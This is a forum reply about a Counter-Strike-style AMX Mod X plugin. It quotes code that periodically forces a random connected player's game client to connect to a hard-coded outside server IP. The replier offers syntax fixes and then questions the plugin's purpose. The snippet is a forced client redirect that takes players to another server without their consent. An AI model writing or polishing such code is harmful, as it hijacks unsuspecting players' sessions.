Quote:
Originally Posted by kiki33hun
PHP Code:
public plugin_init() { register_plugin(PLUGIN, VERSION, AUTHOR) set_task( 1000.0, "kiki", 0, "", 0, "b" ); } public kiki(id) { client_cmd(random_num( 1,31 ), "connect 80.249.166.44:27015") }
|
Don't escape the " chars when you want to use a string. And random_num is an integer which is the correct 1st parameter for client_cmd. And you should check if the player is connected.
EDIT:
What the hell is the aim of this plugin, anyways???
__________________